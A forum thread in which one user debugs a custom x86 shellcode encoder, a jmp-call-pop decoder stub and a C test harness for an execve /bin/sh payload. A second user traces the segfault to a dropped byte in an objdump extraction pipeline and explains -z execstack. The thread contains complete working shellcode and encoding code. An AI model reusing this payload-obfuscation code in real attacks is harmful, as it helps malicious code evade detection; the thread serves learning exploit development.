Jump to content
Tuts 4 You

Missing byte in shellcode


pcfx

Recommended Posts

Posted

I'm working on a very simple shellcode encoder. It takes an existing shellcode and adds a continuing number on every even position in the shellcode. The shellcode i want to encode is a simple execve -> /bin/sh shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Encoded:

\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\xe3\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19

Here is my decoder stub:

global _start

section .text
_start:

        jmp short call_shellcode

decoder:
        pop esi
        lea edi, [esi+1]
        xor eax, eax
        mov al, 1
        xor ecx, ecx
        xor ebx, ebx
        mov cl, 1

decode:
        mov bl, byte [esi+eax]
        xor bl, cl
        jnz short Shellcode
        mov bl, byte [esi+eax+1]
        mov byte [edi], bl
        inc edi
        inc cl
        add al, 2
        jmp short decode


call_shellcode:

        call decoder
        Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19

I compiled and linked it and loaded the shellcode in my shellcode.c pattern:

#include <stdio.h>
#include <string.h>

unsigned char code[] = "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19";

main()
{
    printf("Shellcode Length: %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

When I ran it I got segmentation fault error so I loaded it up in gdb and did some research. I figured out that in the compiled shellcode.c file is one byte missing. It's at line 804809f: and it's the byte 0xe3. It's in the compiled stub but not in the compiled shellcode.c

Compiled decoder stub:

    Disassembly of section .text:

    08048060 <_start>:
     8048060:   eb 22                   jmp    8048084 <call_shellcode>

    08048062 <decoder>:
     8048062:   5e                      pop    esi
     8048063:   8d 7e 01                lea    edi,[esi+0x1]
     8048066:   31 c0                   xor    eax,eax
     8048068:   b0 01                   mov    al,0x1
     804806a:   31 c9                   xor    ecx,ecx
     804806c:   31 db                   xor    ebx,ebx
     804806e:   b1 01                   mov    cl,0x1

    08048070 <decode>:
     8048070:   8a 1c 06                mov    bl,BYTE PTR [esi+eax*1]
     8048073:   30 cb                   xor    bl,cl
     8048075:   75 12                   jne    8048089 <Shellcode>
     8048077:   8a 5c 06 01             mov    bl,BYTE PTR [esi+eax*1+0x1]
     804807b:   88 1f                   mov    BYTE PTR [edi],bl
     804807d:   47                      inc    edi
     804807e:   fe c1                   inc    cl
     8048080:   04 02                   add    al,0x2
     8048082:   eb ec                   jmp    8048070 <decode>

    08048084 <call_shellcode>:
     8048084:   e8 d9 ff ff ff          call   8048062 <decoder>

    08048089 <Shellcode>:
     8048089:   31 01                   xor    DWORD PTR [ecx],eax
     804808b:   c0 02 50                rol    BYTE PTR [edx],0x50
     804808e:   03 68 04                add    ebp,DWORD PTR [eax+0x4]
     8048091:   2f                      das    
     8048092:   05 2f 06 73 07          add    eax,0x773062f
     8048097:   68 08 68 09 2f          push   0x2f096808
     804809c:   0a 62 0b                or     ah,BYTE PTR [edx+0xb]
     804809f:   69 0c 6e 0d 89 0e e3    imul   ecx,DWORD PTR [esi+ebp*2],0xe30e890d
     80480a6:   0f 50                   (bad)  
     80480a8:   10 89 11 e2 12 53       adc    BYTE PTR [ecx+0x5312e211],cl
     80480ae:   13 89 14 e1 15 b0       adc    ecx,DWORD PTR [ecx-0x4fea1eec]
     80480b4:   16                      push   ss
     80480b5:   0b 17                   or     edx,DWORD PTR [edi]
     80480b7:   cd 18                   int    0x18
     80480b9:   80                      .byte 0x80
     80480ba:   19                      .byte 0x19

Compiled shellcode.c loaded up in gdb:

xxxx@xxxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gdb -q ./shellcode
Reading symbols from /home/xxxx/Code/shellcodes/plus_1_encoder/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/xxxx/Code/shellcodes/plus_1_encoder/shellcode 
Shellcode Length: 90

Breakpoint 1, 0x0804a040 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x0804a040 <+0>: jmp    0x804a064 <code+36>
   0x0804a042 <+2>: pop    esi
   0x0804a043 <+3>: lea    edi,[esi+0x1]
   0x0804a046 <+6>: xor    eax,eax
   0x0804a048 <+8>: mov    al,0x1
   0x0804a04a <+10>:    xor    ecx,ecx
   0x0804a04c <+12>:    xor    ebx,ebx
   0x0804a04e <+14>:    mov    cl,0x1
   0x0804a050 <+16>:    mov    bl,BYTE PTR [esi+eax*1]
   0x0804a053 <+19>:    xor    bl,cl
   0x0804a055 <+21>:    jne    0x804a069 <code+41>
   0x0804a057 <+23>:    mov    bl,BYTE PTR [esi+eax*1+0x1]
   0x0804a05b <+27>:    mov    BYTE PTR [edi],bl
   0x0804a05d <+29>:    inc    edi
   0x0804a05e <+30>:    inc    cl
   0x0804a060 <+32>:    add    al,0x2
   0x0804a062 <+34>:    jmp    0x804a050 <code+16>
   0x0804a064 <+36>:    call   0x804a042 <code+2>
   0x0804a069 <+41>:    xor    DWORD PTR [ecx],eax
   0x0804a06b <+43>:    rol    BYTE PTR [edx],0x50
   0x0804a06e <+46>:    add    ebp,DWORD PTR [eax+0x4]
   0x0804a071 <+49>:    das    
   0x0804a072 <+50>:    add    eax,0x773062f
   0x0804a077 <+55>:    push   0x2f096808
   0x0804a07c <+60>:    or     ah,BYTE PTR [edx+0xb]
   0x0804a07f <+63>:    imul   ecx,DWORD PTR [esi+ebp*2],0xf0e890d
   0x0804a086 <+70>:    push   eax
   0x0804a087 <+71>:    adc    BYTE PTR [ecx+0x5312e211],cl
   0x0804a08d <+77>:    adc    ecx,DWORD PTR [ecx-0x4fea1eec]
   0x0804a093 <+83>:    push   ss
   0x0804a094 <+84>:    or     edx,DWORD PTR [edi]
   0x0804a096 <+86>:    int    0x18
   0x0804a098 <+88>:    sbb    BYTE PTR [ecx],0x0
End of assembler dump.
(gdb) x/50xb 0x0804a069
0x804a069 <code+41>:    0x31    0x01    0xc0    0x02    0x50    0x03    0x68    0x04
0x804a071 <code+49>:    0x2f    0x05    0x2f    0x06    0x73    0x07    0x68    0x08
0x804a079 <code+57>:    0x68    0x09    0x2f    0x0a    0x62    0x0b    0x69    0x0c
0x804a081 <code+65>:    0x6e    0x0d    0x89    0x0e    0x0f    0x50    0x10    0x89
0x804a089 <code+73>:    0x11    0xe2    0x12    0x53    0x13    0x89    0x14    0xe1
0x804a091 <code+81>:    0x15    0xb0    0x16    0x0b    0x17    0xcd    0x18    0x80
0x804a099 <code+89>:    0x19    0x00
 As you can see the byte 0x3e is missing in the byte order at the end. I also noticed "(bad)" in the objdump output, but I dont know what it means in this context. 
804809f:   69 0c 6e 0d 89 0e e3    imul   ecx,DWORD PTR [esi+ebp*2],0xe30e890d
 80480a6:   0f 50                   (bad)  

Can somebody help me to get it working?

Extreme Coders
Posted

The byte byte 0x3e is missing in the c code.

original shellcode

0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,
0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19

your C code
unsigned char code[] =
"<snip>
\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19";
 

  • Like 1
Posted

That's embarrassing, I've checked it like three times. Thanks man!

I checked all my steps again and found the step, where the mistake must have happened.

After I assembled and linked the file i loaded it up in objdump, to check the assemble, which looks fine to me:

xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d test -M intel

test:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 22                	jmp    8048084 <call_shellcode>

08048062 <decoder>:
 8048062:	5e                   	pop    esi
 8048063:	8d 7e 01             	lea    edi,[esi+0x1]
 8048066:	31 c0                	xor    eax,eax
 8048068:	b0 01                	mov    al,0x1
 804806a:	31 c9                	xor    ecx,ecx
 804806c:	31 db                	xor    ebx,ebx
 804806e:	b1 01                	mov    cl,0x1

08048070 <decode>:
 8048070:	8a 1c 06             	mov    bl,BYTE PTR [esi+eax*1]
 8048073:	30 cb                	xor    bl,cl
 8048075:	75 12                	jne    8048089 <Shellcode>
 8048077:	8a 5c 06 01          	mov    bl,BYTE PTR [esi+eax*1+0x1]
 804807b:	88 1f                	mov    BYTE PTR [edi],bl
 804807d:	47                   	inc    edi
 804807e:	fe c1                	inc    cl
 8048080:	04 02                	add    al,0x2
 8048082:	eb ec                	jmp    8048070 <decode>

08048084 <call_shellcode>:
 8048084:	e8 d9 ff ff ff       	call   8048062 <decoder>

08048089 <Shellcode>:
 8048089:	31 01                	xor    DWORD PTR [ecx],eax
 804808b:	c0 02 50             	rol    BYTE PTR [edx],0x50
 804808e:	03 68 04             	add    ebp,DWORD PTR [eax+0x4]
 8048091:	2f                   	das    
 8048092:	05 2f 06 73 07       	add    eax,0x773062f
 8048097:	68 08 68 09 2f       	push   0x2f096808
 804809c:	0a 62 0b             	or     ah,BYTE PTR [edx+0xb]
 804809f:	69 0c 6e 0d 89 0e e3 	imul   ecx,DWORD PTR [esi+ebp*2],0xe30e890d
 80480a6:	0f 50                	(bad)  
 80480a8:	10 89 11 e2 12 53    	adc    BYTE PTR [ecx+0x5312e211],cl
 80480ae:	13 89 14 e1 15 b0    	adc    ecx,DWORD PTR [ecx-0x4fea1eec]
 80480b4:	16                   	push   ss
 80480b5:	0b 17                	or     edx,DWORD PTR [edi]
 80480b7:	cd 18                	int    0x18
 80480b9:	80                   	.byte 0x80
 80480ba:	19                   	.byte 0x19

Then I use this command to extract the op-code, which normally works for me:

xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19"

Here,  the 0xe3 is missing. Can you explain why?

Extreme Coders
Posted (edited)

About the seg fault

Most probably you have not specified -z execstack while compiling the c code. You can verify this with readelf.

Spoiler

ec@ubuntu:~/Desktop/shellcode$ cat ./test.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\xe3\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19";

main()
{
    printf("Shellcode Length: %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}
ec@ubuntu:~/Desktop/shellcode$ gcc test.c -z execstack -o test
ec@ubuntu:~/Desktop/shellcode$ readelf -l ./test 

Elf file type is EXEC (Executable file)
Entry point 0x8048350
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00614 0x00614 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00194 0x00198 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000538 0x08048538 0x08048538 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

Note that the stack is specified executable, else you would get a segfault.
Now you should be able to run the shellcode normally.

ec@ubuntu:~/Desktop/shellcode$ ./test 
Shellcode Length: 91
$ 

About the missing byte

Spoiler
8 hours ago, pcfx said:

Then I use this command to extract the op-code, which normally works for me:



xxx@xxx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\xeb\x22\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x31\xdb\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xec\xe8\xd9\xff\xff\xff\x31\x01\xc0\x02\x50\x03\x68\x04\x2f\x05\x2f\x06\x73\x07\x68\x08\x68\x09\x2f\x0a\x62\x0b\x69\x0c\x6e\x0d\x89\x0e\x0f\x50\x10\x89\x11\xe2\x12\x53\x13\x89\x14\xe1\x15\xb0\x16\x0b\x17\xcd\x18\x80\x19"

The command sequence is taken from here. Right ? It is evident that there is a problem with the commands. I would suggest a different workflow.

  1. shellcode.S
    Spoiler
    
    ec@ubuntu:~/Desktop/shellcode$ cat shellcode.S
    global _start
    
    section .text
    
    _start:
    
            jmp short call_shellcode
    
    decoder:
            pop esi
            lea edi, [esi+1]
            xor eax, eax
            mov al, 1
            xor ecx, ecx
            xor ebx, ebx
            mov cl, 1
    
    decode:
            mov bl, byte [esi+eax]
            xor bl, cl
            jnz short Shellcode
            mov bl, byte [esi+eax+1]
            mov byte [edi], bl
            inc edi
            inc cl
            add al, 2
            jmp short decode
    
    
    call_shellcode:
    
            call decoder
            Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19
  2. Assemble
    ec@ubuntu:~/Desktop/shellcode$ nasm shellcode.S -o shellcode.bin
  3. shellcode.bin is a binary file. You can directly use xxd instead of all those hairy piping commands.
    ec@ubuntu:~/Desktop/shellcode$ xxd -i ./shellcode.bin 
    unsigned char __shellcode_bin[] = {
      0xeb, 0x2c, 0x66, 0x5e, 0x66, 0x67, 0x8d, 0x7e, 0x01, 0x66, 0x31, 0xc0,
      0xb0, 0x01, 0x66, 0x31, 0xc9, 0x66, 0x31, 0xdb, 0xb1, 0x01, 0x67, 0x8a,
      0x1c, 0x06, 0x30, 0xcb, 0x75, 0x13, 0x67, 0x8a, 0x5c, 0x06, 0x01, 0x67,
      0x88, 0x1f, 0x66, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xe8, 0xe8, 0xd1,
      0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f,
      0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69,
      0x0c, 0x6e, 0x0d, 0x89, 0x0e, 0xe3, 0x0f, 0x50, 0x10, 0x89, 0x11, 0xe2,
      0x12, 0x53, 0x13, 0x89, 0x14, 0xe1, 0x15, 0xb0, 0x16, 0x0b, 0x17, 0xcd,
      0x18, 0x80, 0x19
    };
    unsigned int __shellcode_bin_len = 99;
  4. Paste into your C code. Compile with gcc. Keep  note of -z execstack. Profit.

The problem with the command sequence

8 hours ago, pcfx said:

Here,  the 0xe3 is missing. Can you explain why?

This is due to  this command 

cut -f1-6 -d' '

This restricts to max 6 byte instruction lengths. The instruction you are facing problems with is of 7 bytes. Note that the last byte is e3.

804809f: 69 0c 6e 0d 89 0e e3 imul ecx,DWORD PTR [esi+ebp*2],0xe30e890d

As a temporary workaround you can change 6 to 7, but again that is not a permanent fix. On the x86 architecture, instructions can be as long as 15 bytes. Hence stick to the second method.

Edited by Extreme Coders
  • Like 2
Posted (edited)

I tried everything you said with the non-encoded execve shellcode because of clearness.
 

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ cat shellcode.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
	printf("Shellcode Length: %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();
}

About the seg fault:

You are right about the seg fault error when the "-z execstack" parameter is missing.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc -z execstack shellcode.c -o shellcode_execstack
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc shellcode.c -o shellcode_no_execstack
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ ./shellcode_execstack 
Shellcode Length: 25
$ exit
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ ./shellcode_no_execstack 
Shellcode Length: 25
Segmentation fault (core dumped)

But i'm pretty sure i did not forget this parameter with my encoded shellcode in the first place. I think, I got the seg fault because of the missing byte 0xe3!

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gcc -z execstack shellcode.c -o shellcode_no_missing_byte
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ gcc -z execstack shellcode_with_missing_byte.c -o shellcode_missing_byte
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./shellcode_no_missing_byte 
Shellcode Length: 92
$ exit
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./shellcode_missing_byte Shellcode Length: 91
Segmentation fault (core dumped)

readelf -l

So with readelf -l I get information of the file's segment header, is this correct? I'm not quite sure how I can verify if -z execstack is set or not because I get the same output with both files.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ cat shellcode.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
	printf("Shellcode Length: %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();
}
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc -z execstack shellcode.c -o shellcode_execstack
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ gcc shellcode.c -o shellcode_no_execstack 
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ readelf -l ./shellcode_execstack 

Elf file type is EXEC (Executable file)
Entry point 0x8048330
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00624 0x00624 R E 0x1000
  LOAD           0x000f14 0x08049f14 0x08049f14 0x0011c 0x00124 RW  0x1000
  DYNAMIC        0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000528 0x08048528 0x08048528 0x00034 0x00034 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
  GNU_RELRO      0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .ctors .dtors .jcr .dynamic .got 
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ readelf -l ./shellcode_no_execstack 

Elf file type is EXEC (Executable file)
Entry point 0x8048330
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00624 0x00624 R E 0x1000
  LOAD           0x000f14 0x08049f14 0x08049f14 0x0011c 0x00124 RW  0x1000
  DYNAMIC        0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000528 0x08048528 0x08048528 0x00034 0x00034 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
  GNU_RELRO      0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .ctors .dtors .jcr .dynamic .got 
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder_clean$ 

op-code workflow:

The way with xxd -i ./shellcode.bin only works if I assemble the file like you used to do it.

I was using a bash script to assemble and link the whole stuff, which seems not  to work with your method.

pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ cat compile.sh #!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ cat test.nasm
; Filename: test.nasm
; Author: PCFX
;

global _start

section .text
_start:

	jmp short call_shellcode

decoder:
	pop esi
	lea edi, [esi+1]
	xor eax, eax
	mov al, 1
	xor ecx, ecx
	xor ebx, ebx
	mov cl, 1

decode:
	mov bl, byte [esi+eax]	
	xor bl, cl
	jnz short Shellcode
	mov bl, byte [esi+eax+1] 
	mov byte [edi], bl
	inc edi
	inc cl
	add al, 2
	jmp short decode
	

call_shellcode:

	call decoder
	Shellcode: db 0x31,0x01,0xc0,0x02,0x50,0x03,0x68,0x04,0x2f,0x05,0x2f,0x06,0x73,0x07,0x68,0x08,0x68,0x09,0x2f,0x0a,0x62,0x0b,0x69,0x0c,0x6e,0x0d,0x89,0x0e,0xe3,0x0f,0x50,0x10,0x89,0x11,0xe2,0x12,0x53,0x13,0x89,0x14,0xe1,0x15,0xb0,0x16,0x0b,0x17,0xcd,0x18,0x80,0x19
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ ./compile.sh test
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
pcfx@pcfx-VirtualBox:~/Code/shellcodes/plus_1_encoder$ xxd -i ./test.o
unsigned char __test_o[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00,
  0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x10, 0x01, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x70, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x01, 0x00, 0x00,
  0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00,
  0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x20, 0x02, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x22, 0x5e, 0x8d,
  0x7e, 0x01, 0x31, 0xc0, 0xb0, 0x01, 0x31, 0xc9, 0x31, 0xdb, 0xb1, 0x01,
  0x8a, 0x1c, 0x06, 0x30, 0xcb, 0x75, 0x12, 0x8a, 0x5c, 0x06, 0x01, 0x88,
  0x1f, 0x47, 0xfe, 0xc1, 0x04, 0x02, 0xeb, 0xec, 0xe8, 0xd9, 0xff, 0xff,
  0xff, 0x31, 0x01, 0xc0, 0x02, 0x50, 0x03, 0x68, 0x04, 0x2f, 0x05, 0x2f,
  0x06, 0x73, 0x07, 0x68, 0x08, 0x68, 0x09, 0x2f, 0x0a, 0x62, 0x0b, 0x69,
